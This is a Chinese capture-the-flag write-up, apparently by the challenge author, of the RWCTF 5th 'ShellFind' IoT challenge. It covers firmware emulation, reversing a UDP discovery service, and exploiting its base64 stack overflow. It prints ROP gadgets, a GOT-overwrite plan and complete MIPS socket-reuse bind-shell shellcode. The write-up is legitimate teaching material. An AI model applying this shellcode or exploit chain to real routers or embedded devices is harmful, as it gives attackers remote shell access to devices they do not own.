相关参考如下:
-
从最近披露的Pink僵尸网络想到的(https://zu1k.com/posts/events/pinkbot/)
-
一个藏在我们身边的巨型僵尸网络 Pink(https://blog.netlab.360.com/pinkbot/)
Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
I'll show you.
There is only one UDP service to shell the device.
in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.
可在本地直接起个题目环境,如下:
sudo docker run --name shellfind -d --privileged -p 4444/udp --rm 1arry/shellfind
题目附件,原始的docker环境以及最终的exploit脚本详见:https://github.com/Larryxi/rwctf-5th-shellfind。但是在深入解题思路之前,感兴趣的师傅可以逆向固件寻找出target binary,尝试在3分钟内利用该漏洞(包括1分钟的环境启动),并获得交互式shell。
题目只给出了相关的固件,使用binwalk可轻松解包,要攻击某个网络服务,那必须得知道设备默认会起那些服务。一劳永逸的办法是得要模拟固件了,可以搜索参考一下现在比较常见的固件模拟方法:
-
物联网设备的几种固件仿真方式(http://blog.nsfocus.net/qemu/)
-
物联网终端安全入门与实践之玩转物联网固件(中)(https://www.freebuf.com/articles/endpoint/339782.html)
-
智能设备固件常用仿真方式(https://mp.weixin.qq.com/s/Q2gXMUhaaTvOsFm-TQEjeA)
大致上都是qemu起的,我使用的是FirmAE(https://github.com/pr0v3rbs/FirmAE),但是没有在题目描述中给出具体的环境,因为环境中有些附加的binary会简化利用方式。比如说,FirmAE在构建qemu-image过程中会额外添加功能齐全的busybox、gdbserver等binary:
echo "----Setting up FIRMADYNE----"
for BINARY_NAME in "${BINARIES[@]}"
do
BINARY_PATH=`get_binary ${BINARY_NAME} ${ARCH}`
cp "${BINARY_PATH}" "${IMAGE_DIR}/firmadyne/${BINARY_NAME}"
chmod a+x "${IMAGE_DIR}/firmadyne/${BINARY_NAME}"
done
我“之前”使用的是firmadyne(https://github.com/firmadyne/firmadyne/)模拟固件,没有办法从固件的启动过程推断出设备的网络信息,参考如下文章也可以手动搭建设备网络:
-
Linux虚拟网络设备之veth(https://segmentfault.com/a/1190000009251098?utm_source=sf-similar-article) -
Linux虚拟网络设备之tun/tap(https://segmentfault.com/a/1190000009249039) -
Linux虚拟网络设备之bridge(桥)(https://segmentfault.com/a/1190000009491002?utm_source=sf-similar-article) -
Setting up Qemu with a tap interface(https://gist.github.com/extremecoders-re/e8fd8a67a515fee0c873dcafc81d811c)
当然,FirmAE是可以成功推断出网络环境,并使用Tap模拟网络设备,但是在Host主机上没有加入其他网桥,造就了题目无法出外网的限制条件。
TAPDEV_0=tap${IID}_0
HOSTNETDEV_0=${TAPDEV_0}
echo "Creating TAP device ${TAPDEV_0}..."
sudo tunctl -t ${TAPDEV_0} -u ${USER}
echo "Bringing up TAP device..."
sudo ip link set ${HOSTNETDEV_0} up
sudo ip addr add 192.168.0.2/24 dev ${HOSTNETDEV_0}
echo -n "Starting emulation of firmware... "
${QEMU} ${QEMU_BOOT} -m 1024 -M ${QEMU_MACHINE} -kernel ${KERNEL}
-drive if=ide,format=raw,file=${IMAGE} -append "root=${QEMU_ROOTFS} console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 FIRMAE_NET=${FIRMAE_NET} FIRMAE_NVRAM=${FIRMAE_NVRAM} FIRMAE_KERNEL=${FIRMAE_KERNEL} FIRMAE_ETC=${FIRMAE_ETC} ${QEMU_DEBUG}"
-serial file:${WORK_DIR}/qemu.final.serial.log
-serial unix:/tmp/qemu.${IID}.S1,server,nowait
-monitor unix:/tmp/qemu.${IID},server,nowait
-display none
-device e1000,netdev=net0 -netdev tap,id=net0,ifname=${TAPDEV_0},script=no -device e1000,netdev=net1 -netdev socket,id=net1,listen=:2001 -device e1000,netdev=net2 -netdev socket,id=net2,listen=:2002 -device e1000,netdev=net3 -netdev socket,id=net3,listen=:2003 | true
echo "Bringing down TAP device..."
sudo ip link set ${TAPDEV_0} down
echo "Deleting TAP device ${TAPDEV_0}..."
sudo tunctl -d ${TAPDEV_0}
echo "Done!"
题目没有具体给出是哪个端口对应的服务,但是在模拟完镜像后,首先排除不是80的tcp服务,剩下的就是逆向和定位工作了,这里欢迎参赛选手们的补充。
# /firmadyne/busybox netstat -lnp
/firmadyne/busybox netstat -lnp
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 :::31338 :::* LISTEN 911/busybox
tcp 0 0 :::80 :::* LISTEN 761/httpd
udp 0 0 0.0.0.0:62976 0.0.0.0:* 889/ddp
udp 0 0 0.0.0.0:62720 0.0.0.0:* 765/ipfind
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node PID/Program name Path
当逆向 ipfind 程序时,发现整体逻辑比较简单,在UDP端口接受数据后,根据结构体的内容进行调用 sub_40172C 或 sub_4013F4 函数,把v15转换成字符数组比较好看一些:
v6 = server_sockfd;
v14.__fds_bits[(unsigned int)server_sockfd >> 5] |= 1 << server_sockfd;
if ( select(v6 + 1, &v14, 0, 0, 0) >= 0 )
{
if ( ((v14.__fds_bits[(unsigned int)server_sockfd >> 5] >> server_sockfd) & 1) != 0 )
{
v11 = 16;
memset(v15, 0, sizeof(v15));
recvfrom(server_sockfd, v15, 0x800u, 0, (struct sockaddr *)&client_addr, addr_len);
*(_DWORD *)&v15[4] = (*(_DWORD *)&v15[4] << 24) | (unsigned __int8)v15[4] | ((*(_DWORD *)&v15[4] & 0xFF0000u) >> 8) | ((*(_DWORD *)&v15[4] & 0xFF00) << 8);
v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)&v15[9]) << 8) | ((unsigned int)((unsigned __int8)v15[10] | ((unsigned __int8)v15[9] << 8)) >> 8));
*(_WORD *)&v15[9] = v7;
*(_WORD *)&v15[11] = (_byteswap_ushort(*(unsigned __int16 *)&v15[11]) << 8) | ((unsigned int)((unsigned __int8)v15[12] | ((unsigned __int8)v15[11] << 8)) >> 8);
v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)&v15[23]) << 8) | ((unsigned int)((unsigned __int8)v15[24] | ((unsigned __int8)v15[23] << 8)) >> 8));
*(_WORD *)&v15[23] = v8;
v17 = (*(_DWORD *)&v15[25] << 24) | (unsigned __int8)v15[25] | ((*(_DWORD *)&v15[25] & 0xFF0000u) >> 8) | ((*(_DWORD *)&v15[25] & 0xFF00) << 8);
*(_DWORD *)&v15[25] = v17;
if ( !strncmp(v18, v20, 4u) && v15[8] == 10 )
{
if ( v7 == 1 )
{
if ( !v8 && !memcmp(v21, v23, 6u) && !v17 )
sub_40172C((int)v15);
}
else if ( v7 == 2
&& net_get_hwaddr(ifname, v22) >= 0
&& !memcmp(v21, v22, 6u)
&& *(_DWORD *)&v15[25] == 0x8E )
{
sub_4013F4((int)v15);
}
}
}
}
如果不知道目标设备的mac地址,则会进入 sub_40172C 获取设备的基本信息,再在局域网内的广播发送,为了把漏洞带到LAN侧,我这里故意patch程序使其能够发送回给客户端,作为目标程序的提示之一。当然也可以使用qemu默认的mac地址来进行后续的漏洞利用,也就不需要patch程序了。BTW,在patch程序之后,我使用firmware-mod-kit(https://github.com/rampageX/firmware-mod-kit)对固件进行重打包。
v9[75] = v9[75] & 0xFF0000FF | ((unsigned __int16)(((_WORD)v7 << 8) | BYTE2(v7)) << 8);
v3 = inet_ntoa((struct in_addr)dword_413174);
dword_413174 = inet_addr("255.255.255.255");
if ( sendto(server_sockfd, v9, 0x21Du, 0, (const struct sockaddr *)&client_addr, 0x10u) < 0 )
v4 = "Failed";
else
v4 = "Success";
return s_log_nothing("from %s: Discovery %s.n", v3, v4);
在 sub_4013F4 中进入 sub_400F50 函数后,显而易见的漏洞点则是base64解码直接到栈上,造成缓冲区溢出:
int __fastcall sub_400F50(int a1, int a2)
{
int v4; // $s1
int v5; // $s0
char v7[256]; // [sp+18h] [-344h] BYREF
char v8[256]; // [sp+118h] [-244h] BYREF
char v9[256]; // [sp+218h] [-144h] BYREF
char v10; // [sp+318h] [-44h] BYREF
char v11[63]; // [sp+319h] [-43h] BYREF
v10 = 0;
memset(v11, 0, sizeof(v11));
Base64decs(a1, v7);
Base64decs(a2, v8);
cfgRead("USER_ADMIN", "Username1", &v10);
usrInit(0);
v4 = usrGetGroup(v7);
v5 = usrGetPass(v7, v9, 256);
if ( v5 == 1 )
{
if ( !v4 && !strcmp(&v10, v7) )
v5 = strcmp(v8, v9) != 0;
}
else
{
v5 = -1;
}
usrFree();
return v5;
}
checksec /mnt/hgfs/rwctf/iot/firmware/ipfind
You have the latest version of Pwntools (4.8.0)
'/mnt/hgfs/rwctf/iot/firmware/ipfind'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没有开启PIE就看看.text段有没有可以利用的gadget,注意到一个4字节写的gadget:
.text:00400F24 8F A2 00 18 lw $v0, 0x20+var_8($sp)
.text:00400F28 AE 02 00 0D sw $v0, 0xD($s0)
.text:00400F2C
.text:00400F2C loc_400F2C: # CODE XREF: sub_400E50+CC↑j
.text:00400F2C 8F 82 80 68 la $v0, ifname
.text:00400F30 8C 44 00 00 lw $a0, (ifname - 0x413138)($v0)
.text:00400F34 8F 99 80 8C la $t9, net_get_hwaddr
.text:00400F38 03 20 F8 09 jalr $t9 ; net_get_hwaddr
.text:00400F3C 26 05 00 11 addiu $a1, $s0, 0x11
.text:00400F40 8F BF 00 24 lw $ra, 0x20+var_s4($sp)
.text:00400F44 8F B0 00 20 lw $s0, 0x20+var_s0($sp)
.text:00400F48 03 E0 00 08 jr $ra
.text:00400F4C 27 BD 00 28
$s0 在溢出点可控,相当于任意地址写了,我们可以写自定义命令再跳转至 system,或者修改 GOT 表再进行跳转,我们这里选择后一种,感兴趣的同学可以尝试第一种。在构造后续的 rop 链过程中,你会发现第一个地方就会报错,原因在于 IDA 帮我们做了一些工作,使得 $gp 寄存器没有考虑到位:
.text:00400F34 8F 99 80 8C la $t9, net_get_hwaddr
8F 99 80 8C lw $t9, -0x7f74($gp)
所以先要恢复 $gp 寄存器的内容,在ROPgadget的结果里搜索也可以:
0x00400c9c : lw $gp, 0x10($sp) ; lw $ra, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x20
最后再找一个 $a0 指向栈底的gadget即可,比如 memset,在修改完GOT后即可执行任意命令了:
.text:00401768 27 A4 00 21 addiu $a0, $sp, 0x35C+var_33B # s
.text:0040176C 00 00 28 21 move $a1, $zero # c
.text:00401770 8F 99 80 78 la $t9, memset
.text:00401774 03 20 F8 09 jalr $t9 ; memset
.text:00401778 24 06 00 FF li $a2, 0xFF # n
但是如何通过一条命令就获取flag了呢,首先目标环境不出网意味着不能反弹shell,那就得复用这个udp端口了。首先想知道目标环境有没有nc之类的环境,如果说碰巧也是用的是FirmAE环境,那么在 /firmadyne/目录下直接使用busybox,即可起一个udpbindshell,可惜busybox的nc被我修改成了nx,不知道你能不能猜到。
.rodata:0057401F .byte 0x6E # n
.rodata:00574020 .byte 0x78 # x
.rodata:00574021 .byte 0
.rodata:00574022 .byte 0x6E # n
.rodata:00574023 .byte 0x65 # e
.rodata:00574024 .byte 0x74 # t
.rodata:00574025 .byte 0x73 # s
.rodata:00574026 .byte 0x74 # t
.rodata:00574027 .byte 0x61 # a
.rodata:00574028 .byte 0x74 # t
.rodata:00574029 .byte 0
不能的话那咱 echo 出一个binary上去好了,受限于初始recvfrom的长度,缓冲区溢出的padding,还有base64编码的扩大,一次命令中仅能包含几百个字符。我懒得去编译生成再精简binary,所以如果能多次执行命令就好了,我们在利用完漏洞后重启漏洞服务就好了:
bof_payload += cmd
if restart == True:
bof_payload += "rm /var/run/ipfind-br0.pid;ipfind br0 &x00"
else:
bof_payload += "x00"
但是多次重启漏洞服务会导致其继承多个fd,如果你的binary比较大,在最终监听同一端口时会出现莫名奇妙的bug,这里建议先关闭原始的 server_sockfd:
.text:004021E8 8F BC 00 10 lw $gp, 0x98+var_88($sp)
.text:004021EC 8F 82 80 B8 la $v0, server_sockfd
.text:004021F0 8C 44 00 00 lw $a0, (server_sockfd - 0x413134)($v0) # fd
.text:004021F4 8F 99 80 38 la $t9, close
.text:004021F8 03 20 F8 09 jalr $t9 ; close
.text:004021FC 00 00 00 00 nop
.text:00402200 8F BF 00 9C lw $ra, 0x98+var_s4($sp)
.text:00402204 8F B0 00 98 lw $s0, 0x98+var_s0($sp)
.text:00402208 03 E0 00 08 jr $ra
.text:0040220C 27 BD 00 A0 addiu $sp, 0xA0
如果说不想执行那么多次命令,而且栈上是可执行的,最快捷的方式还是 ret2shellcode,在.text段可以找到这样gadget:
.text:004013D0 s_log_nothing: # CODE XREF: sub_4013F4+9C↓p
.text:004013D0 # sub_4013F4+160↓p ...
.text:004013D0
.text:004013D0 var_8 = -8
.text:004013D0 arg_4 = 4
.text:004013D0 arg_8 = 8
.text:004013D0 arg_C = 0xC
.text:004013D0
.text:004013D0 27 BD FF F0 addiu $sp, -0x10
.text:004013D4 AF A5 00 14 sw $a1, 0x10+arg_4($sp)
.text:004013D8 AF A6 00 18 sw $a2, 0x10+arg_8($sp)
.text:004013DC AF A7 00 1C sw $a3, 0x10+arg_C($sp)
.text:004013E0 27 A2 00 14 addiu $v0, $sp, 0x10+arg_4
.text:004013E4 AF A2 00 08 sw $v0, 0x10+var_8($sp)
.text:004013E8 27 BD 00 10 addiu $sp, 0x10
.text:004013EC 03 E0 00 08 jr $ra
.text:004013F0 00 00 00 00 nop
其中 addiu $v0,$sp,0x10+arg_4 把栈地址打出来了,进一步寻找对 s_log_nothing 函数的交叉引入,既不影响到 $v0 又很快地覆盖 $ra,比如:
.text:00401F98 0C 10 04 F4 jal s_log_nothing
.text:00401F9C 24 84 2C F8 li $a0, aCanTGetHelloSo # "Can't get hello socketn"
.text:00401FA0 10 00 00 44 b loc_4020B4
.text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08 jr $ra
.text:004020C4 27 BD 00 88 addiu $sp, 0x88
我们前文的任意地址写的值正好是 $v0,那么再来个load后跳转就可以了,仔细观察程序中函数的结尾,可以发现这样的gadget正好满足我们的需求:
.text:004027C0 03 20 F8 09 jalr $t9
.text:004027C4 00 00 00 00 nop
.text:004027C8
.text:004027C8 loc_4027C8: # CODE XREF: sub_402790+28↑j
.text:004027C8 8E 19 00 00 lw $t9, 0($s0)
.text:004027CC 17 31 FF FC bne $t9, $s1, loc_4027C0
.text:004027D0 26 10 FF FC addiu $s0, -4
.text:004027D4 8F BF 00 24 lw $ra, 0x1C+var_s8($sp)
.text:004027D8 8F B1 00 20 lw $s1, 0x1C+var_s4($sp)
.text:004027DC 8F B0 00 1C lw $s0, 0x1C+var_s0($sp)
.text:004027E0 03 E0 00 08 jr $ra
.text:004027E4 27 BD 00 28 addiu $sp, 0x28
在真正的跳转至栈地址之前,在gadget的0x004013D4处会进行 $a1, $a2和 $a3的写入栈操作,需要结合确保这三个值为nop指令,如果影响了rop链的正常执行,在最开始处还是需要对其进行定制,比如对 $a3“清零”(close后会相应变成0x0、0x0、0x1):
.text:004020A0 00 00 38 21 move $a3, $zero # flags
.text:004020A4 8F BC 00 18 lw $gp, 0x7C+var_64($sp)
.text:004020A8 8F 99 80 38 la $t9, close
.text:004020AC 03 20 F8 09 jalr $t9 ; close
.text:004020B0 02 00 20 21 move $a0, $s0 # fd
.text:004020B4
.text:004020B4 loc_4020B4: # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4 # sub_401DF4+238↑j ...
.text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08 jr $ra
.text:004020C4 27 BD 00 88 addiu $sp, 0x88
终于我们跳转至 shellcode,自然要实现 udp_bind_shell 的功能,msf 没有现成的,只能看看nc(https://www.sqlsec.com/2019/10/nc.html)的代码(https://github.com/openbsd/src/blob/master/usr.bin/nc/netcat.c#L595)是怎么写的了,当我们使用 nc -l -p 62720 -u -e /bin/sh 时,其先 recvfrom 获取客户端地址再 connect 回去:
} else if (uflag && !kflag) {
/*
* For UDP and not -k, we will use recvfrom()
* initially to wait for a caller, then use
* the regular functions to talk to the caller.
*/
int rv;
char buf[2048];
struct sockaddr_storage z;
len = sizeof(z);
rv = recvfrom(s, buf, sizeof(buf), MSG_PEEK,
(struct sockaddr *)&z, &len);
if (rv == -1)
err(1, "recvfrom");
rv = connect(s, (struct sockaddr *)&z, len);
if (rv == -1)
err(1, "connect");
if (family == AF_UNIX) {
if (pledge("stdio unix", NULL) == -1)
err(1, "pledge");
}
if (vflag)
report_sock("Connection received",
(struct sockaddr *)&z, len,
family == AF_UNIX ? host : NULL);
readwrite(s, NULL);
因为第一次交互触发漏洞时已经recvfrom接收消息了,再借助现有的connect back shellcode(https://shell-storm.org/shellcode/files/shellcode-794.html),dup2后execve busybox即可,不过busybox要注意传递的格式(https://www.anquanke.com/post/id/180252#h3-11),最后一发入魂:
bof_payload += "x3Cx1Cx00x42" # lui $gp, 0x42
bof_payload += "x27x9CxB0x30" # addiu $gp, $gp, -0x4fd0
bof_payload += "x8Fx82x80xB8" # la $v0, server_sockfd
bof_payload += "x8Cx44x00x00" # lw $a0, (server_sockfd - 0x413134)($v0) # fd
bof_payload += "x8Fx85x80xF4" # lw $a1, -0x7f0c($gp)
bof_payload += "x24x0cxffxef" # li t4,-17 ( addrlen = 16 )
bof_payload += "x01x80x30x27" # nor a2,t4,zero
bof_payload += "x24x02x10x4a" # li v0,4170 ( sys_connect )
bof_payload += "x01x01x01x0c" # syscall 0x40404
bof_payload += "x3Cx1Cx00x42" # lui $gp, 0x42
bof_payload += "x27x9CxB0x30" # addiu $gp, $gp, -0x4fd0
bof_payload += "x8Fx82x80xB8" # la $v0, server_sockfd
bof_payload += "x8Cx44x00x00" # lw $a0, (server_sockfd - 0x413134)($v0) # fd
bof_payload += "x24x0fxffxfd" # li t7,-3
bof_payload += "x01xe0x28x27" # nor a1,t7,zero
# bof_payload += "x8fxa4xffxff" # lw a0,-1(sp)
bof_payload += "x24x02x0fxdf" # li v0,4063 ( sys_dup2 )
bof_payload += "x01x01x01x0c" # syscall 0x40404
bof_payload += "x20xa5xffxff" # addi a1,a1,-1
bof_payload += "x24x01xffxff" # li at,-1
bof_payload += "x14xa1xffxfb" # bne a1,at, dup2_loop
# execve /bin/busybox sh
bof_payload += "x28x06xFFxFF" # slti $a2, $zero, -1
bof_payload += "x3Cx0Fx2Fx62" # lui $t7, 0x2f62
bof_payload += "x35xEFx69x6E" # ori $t7, $t7, 0x696e
bof_payload += "xAFxAFxFFxDC" # sw $t7, -0x24($sp)
bof_payload += "x3Cx0Fx2Fx62" # lui $t7, 0x2f62
bof_payload += "x35xEFx75x73" # ori $t7, $t7, 0x7573
bof_payload += "xAFxAFxFFxE0" # sw $t7, -0x20($sp)
bof_payload += "x3Cx0Fx79x62" # lui $t7, 0x7962
bof_payload += "x35xEFx6Fx78" # ori $t7, $t7, 0x6f78
bof_payload += "xAFxAFxFFxE4" # sw $t7, -0x1c($sp)
bof_payload += "xAFxA0xFFxE8" # sw $zero, -0x18($sp)
bof_payload += "x3Cx0Fx73x68" # lui $t7, 0x7368
bof_payload += "xAFxAFxFFxEC" # sw $t7, -0x14($sp)
bof_payload += "xAFxA0xFFxF0" # sw $zero, -0x10($sp)
bof_payload += "x27xAFxFFxDC" # addiu $t7, $sp, -0x24
bof_payload += "xAFxAFxFFxF4" # sw $t7, -0xc($sp)
bof_payload += "x27xAFxFFxEC" # addiu $t7, $sp, -0x14
bof_payload += "xAFxAFxFFxF8" # sw $t7, -8($sp)
bof_payload += "xAFxA0xFFxFC" # sw $zero, -4($sp)
bof_payload += "x27xA4xFFxDC" # addiu $a0, $sp, -0x24
bof_payload += "x27xA5xFFxF8" # addiu $a1, $sp, -8
bof_payload += "x24x02x0FxAB" # addiu $v0, $zero, 0xfab
bof_payload += "x01x01x01x0C" # syscall 0x40404
根据出题方式,发现题目中的target binary大致有三种方式:1是逆向过程中发现程序被patch过;2是重打包固件会遗留下access time的踪迹;3是使用固件模拟的方式来发现默认启动的网络服务,这一点应该算作是IoT攻防人员的基本素养之一。
题目中的逆向和漏洞挖掘难度不大,但需要选手动态发包和网络程序能进行前期的交互,才算是真正地确定了target binary,或许有些指纹扫描的味道在其中。
单凭一个简单程序的一个漏洞获取交互式shell,看似不可能,但最终我们在漏洞利用过程中,不能仅仅参考辅助程序给我们的输出,要追究其本质,让程序的一切都为我们所用。此外,该漏洞还可以直接返回至sendto附近的gadget完成信息泄漏,但是需要多次交互,这一点和直接写列目录的shellcode一样,个人认为可能增加了一些额外的噪音。
十分感谢长亭科技公司给予我在此次Real World CTF 5th中探索安全攻防技术的机会,同样感谢在此次大赛中各位师傅和选手们的辛苦付出,希望这篇文章对你我能有所启发,hack不止。
原文始发于微信公众号(长亭技术沙盒):RWCTF 5th ShellFind Write-up